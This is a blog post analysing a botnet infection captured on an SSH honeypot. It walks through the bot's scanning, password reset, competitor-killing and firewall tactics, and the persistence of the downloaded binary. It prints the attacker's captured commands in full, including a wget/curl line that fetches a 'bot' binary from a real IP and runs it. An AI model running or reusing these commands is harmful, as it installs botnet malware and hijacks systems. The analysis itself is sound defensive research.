Caught in a Honeypot: Analyzing New-Age Malware, Infection Processes + Techniques

As malware evolves, organizations and hobbyist individuals with an interest in cybersecurity must keep honeypots active. Honeypots serve as a decoy server to catch the most up-to-date malware and attack vectors. Without honeypots, we wouldn’t be one step ahead of bad actors and would have a hard time fending off zero-day and newly emerging threats.

This post covers a specific finding in my SSH honeypot of the infection process of a botnet. Furthermore, we delve into different techniques and sneaky tactics bad actors use.

The Setup

To start things off, this malware scenario would make more sense if we first understood the potential setup that this threat actor might hold. This diagram that I made, followed by the description of the diagram, will help you understand the setup of the bad actor.

1. The Bots: The bad actor sets up a network of bots separate from the botnet.

2. Internet Scanning: These bots constantly search the internet for servers with weak passwords, common vulnerabilities, or other known exploits. Bad actors have been known to use tools like Shodan, Censys, and Google Dorking to quickly find vulnerable services or operating system versions, indicating that a specific vulnerability may be present.

3. Infection: After successfully exploiting a device in the wild, such as a server, security camera, smart coffee maker, or even a Wi-Fi-enabled toilet, the bots will install malware and other payloads. This will ultimately turn the compromised device into a zombie or slave to the botnet.

4. The Botnet: The bad actor runs a botnet C2/C&C (command and control) server, also known as the hub. The botnet C2 commands its bots to perform various attacks, forming a 2-way connection.

With this in mind, it will be easier to understand the process that the bad actor took to infect our honeypot and why they chose the methods they did.

Step 1: Scanning

In this scenario, the bad actor’s bot(s) were doing a mass scan of a large range of IP addresses/the entire internet, and they happened to come across my honeypot.

The bot tried to authenticate with the username root, password 1QAZ@WSX and eve, both of which were obviously accepted by the honeypot. Once authenticated, the bot ran the following one-liner command. For readability, I’ve split this up into multiple lines for analysis.

#Step 1 - CPU information fetched
lscpu | grep "CPU(s):                "

#Step 2 - Infection
echo -e "mMXMddeztJrn\nmMXMddeztJrn" | passwd
pkill bin.x86_64; cd /tmp; wget http://45.89.28.202/bot;
curl -s -O http://45.89.28.202/bot; chmod 777 bot; ./bot;

#Step 3 - Firewall Rules ?
iptables -A INPUT -s 194.50.16.26 -j DROP
iptables -A INPUT -s 85.239.34.237 -j DROP
iptables -A INPUT -s 186.2.171.36 -j DROP

Firstly, a command is executed to see the number of CPU cores present in the system. This is an interesting approach and could have multiple purposes for a bad actor. For example:

1. The botnet could only be targeting systems under a certain CPU core with a quantity-over-quality approach
2. The botnet could only be targeting larger systems and weeding out smaller devices for more computing power.
3. The botnet could be using CPU cores to filter out larger servers as a means to defend against honeypots and other monitoring tools that may analyze their malware and shed light on their operation.

Either way, it is interesting.

The next command was used to reset the password of the current user. It appears that the intention was to reset the root password, which was the target of the initial brute-force attack. This is likely an attempt to maintain persistence over the system and prevent the user from cleaning the server.

In this way, if the malicious actor needed to re-infect servers that were disconnected for any reason, they could do so more quickly by using the password they set to send their payload, rather than attempting another brute force attack.

Next, a command is executed to kill the process of the file called “bin.x86_64”, which is conveniently the honeypot system’s architecture. A “bin” file is what botnets use to infect compromised systems. This could be used as a way to kill their own previous botnet to prevent a system overload when attack commands are sent, or it could also be used as a way to eliminate competition.

Bad actors know that other botnet and malware service operators are constantly scanning the same IP ranges that they are, and they need a way to ensure that their attack commands are prioritized. We will get more into competition elimination later.

On that same line, we navigate to the /tmp directory to download a file called “bot”. As a way of assurance the file is received, curl is also used in silent mode (-s) to perform the same operation. The permissions are set on the file (777 — read, write, execute) and it is executed.

Lastly and very interestingly, three iptables commands are executed to drop traffic originating from three different IP addresses: 194.50.16.26, 85.239.34.237, and 186.2.171.36.

Looking into these hosts, it seems that some are other SSH scanner bots. One host even has over 6,000 abuse reports! However, it seems that all may not belong to the same person…

The main purpose of these firewall rules is likely to block their own scanners from accessing the compromised host again to reduce redundant infections and to improve the efficiency of their scans, but I feel that it may have another purpose as well.

Going back to the idea of eliminating competition and since it appears that all three IPs are not owned by the same bad actor, it is very likely that this bad actor wants first dibs on the host and is blocking other scanners that it knows are in direct competition with its botnet.

Another smart way to do this would’ve been to whitelist any IPs that the botnet operation uses and to drop everything else (besides people it needs to send attacks to), but it seems that they did not choose this approach. Regardless, this is a very interesting technique that is new and could be used for many different purposes.

Malware Analysis — “bot” file

Beyond the basic malware functionality of a bin file, there isn’t a lot to see here. The malware attempts to establish persistence with a cronjob, tries to authenticate with the user it set before to start the process as that user instead of a lower privilege user, and then establishes the connection between the zombie and the C2.

After doing further research, I also see that it uses an enabled system service as another way to maintain persistence in some versions of the malware.

This program allows the botnet to command the zombie to perform various attacks through a 2-way TCP connection. When the botnet wants to perform a specific attack method, it simply sends the relative data over the socket connection and the bin/bot file tells the zombie how to respond.

This file would need to be run continuously to function. As soon as the process is killed, the botnet will lose control over the compromised server.